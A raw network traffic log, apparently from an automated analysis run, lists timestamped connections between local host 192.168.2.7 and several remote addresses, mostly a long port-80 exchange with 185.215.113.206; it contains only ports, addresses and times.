Nov 15, 2024 09:55:43.602516890 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602524996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602531910 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602536917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602550983 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602566957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602567911 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602579117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602591038 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602613926 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602626085 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602633953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602646112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602657080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602669001 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602684021 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602698088 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602720976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602732897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602756023 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602768898 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602823019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602834940 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602852106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602863073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602865934 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602876902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602894068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602895021 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602905989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602910042 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602917910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602936029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602957964 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602973938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602988005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602998018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603014946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603020906 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603027105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603039026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603049994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603050947 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603065968 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603069067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603080988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603090048 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603092909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603116035 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603131056 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603146076 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603158951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603168964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603188038 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603203058 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603205919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603219032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603240013 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603262901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603281975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603292942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603311062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603322983 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603331089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603343010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603354931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603363037 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603365898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603379965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603398085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603406906 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603411913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603432894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603434086 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603445053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603456974 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603456974 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603471041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603476048 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603502989 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603650093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603681087 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603691101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603720903 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603763103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603775024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603785038 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603796005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603806019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603810072 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603823900 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603827953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603840113 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603849888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603852034 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603873968 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603888988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603888988 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603902102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603914022 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.603939056 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.603964090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.607842922 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.607855082 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.608202934 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.608233929 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.608365059 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.608381987 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.623045921 CET	49969	443	192.168.2.7	204.79.197.219
Nov 15, 2024 09:55:43.623061895 CET	443	49969	204.79.197.219	192.168.2.7
Nov 15, 2024 09:55:43.623358011 CET	49969	443	192.168.2.7	204.79.197.219
Nov 15, 2024 09:55:43.623925924 CET	49970	443	192.168.2.7	204.79.197.219
Nov 15, 2024 09:55:43.623970985 CET	443	49970	204.79.197.219	192.168.2.7
Nov 15, 2024 09:55:43.624028921 CET	49970	443	192.168.2.7	204.79.197.219
Nov 15, 2024 09:55:43.629439116 CET	49969	443	192.168.2.7	204.79.197.219
Nov 15, 2024 09:55:43.629447937 CET	443	49969	204.79.197.219	192.168.2.7
Nov 15, 2024 09:55:43.629807949 CET	49970	443	192.168.2.7	204.79.197.219
Nov 15, 2024 09:55:43.629826069 CET	443	49970	204.79.197.219	192.168.2.7
Nov 15, 2024 09:55:43.631171942 CET	443	49956	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.639336109 CET	49956	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.639380932 CET	443	49956	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.640048981 CET	49956	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.640060902 CET	443	49956	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.671128035 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.691487074 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.691510916 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.692040920 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.692045927 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.722692966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.722780943 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.722821951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.722835064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.722872019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.723032951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.723045111 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.723057985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.723069906 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.723073006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.723102093 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.723869085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.723885059 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.723896027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.723917007 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.723939896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.764561892 CET	443	49956	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.764633894 CET	443	49956	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.764704943 CET	49956	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.764961004 CET	49956	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.764981031 CET	443	49956	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.764991999 CET	49956	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.764997959 CET	443	49956	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.768270016 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.768290997 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.768455029 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.768632889 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.768640995 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.794495106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.794584036 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.794657946 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.795555115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795566082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795609951 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.795690060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795701027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795713902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795753956 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.795768023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795780897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795793056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795804977 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.795833111 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.795850039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795936108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795947075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795958042 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795969009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.795969009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795983076 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.795989990 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796009064 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796036005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796036005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796047926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796058893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796072006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796072960 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796084881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796103954 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796127081 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796138048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796149015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796159983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796180964 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796189070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796200991 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796209097 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796212912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796236992 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796242952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796253920 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796267986 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796294928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796319008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796329975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796341896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796363115 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796379089 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796571016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796617031 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796628952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796639919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796649933 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796681881 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796874046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796910048 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796911955 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796926022 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.796958923 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.796993017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797003984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797014952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797027111 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797038078 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797039032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797056913 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797071934 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797086954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797099113 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797121048 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797128916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797137022 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797141075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797158003 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797162056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797169924 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797175884 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797187090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797194958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797209978 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797223091 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797353029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797399998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797410965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797434092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797463894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797473907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797486067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797497034 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797509909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797522068 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797552109 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797590017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797600985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797612906 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797622919 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797626972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797652960 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797674894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797727108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797816992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797823906 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797830105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797851086 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797852039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797864914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797871113 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797878981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797888994 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797889948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797904968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797909021 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797919989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797929049 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797955990 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.797981024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.797991991 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798002958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798013926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798017025 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798027039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798038006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798048019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798051119 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798077106 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798091888 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798105001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798115969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798132896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798141003 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798145056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798156977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798156977 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798170090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798177958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798204899 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798244953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798257113 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798268080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798281908 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798293114 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798321962 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798715115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798726082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.798762083 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.798810005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.818018913 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.818099976 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.818152905 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.818449974 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.818468094 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.818500042 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.818506002 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.821964025 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.822009087 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.822072029 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.823194027 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.823209047 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.841902018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.841913939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.841943979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.841953993 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.841962099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.841963053 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.842022896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.842547894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.842561007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.842572927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.842600107 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.842613935 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.842624903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.842633009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.842657089 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.902409077 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:43.908189058 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:43.913341045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.913352013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.913412094 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.914483070 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:43.914494991 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:43.914654016 CET	80	49872	185.215.113.206	192.168.2.7
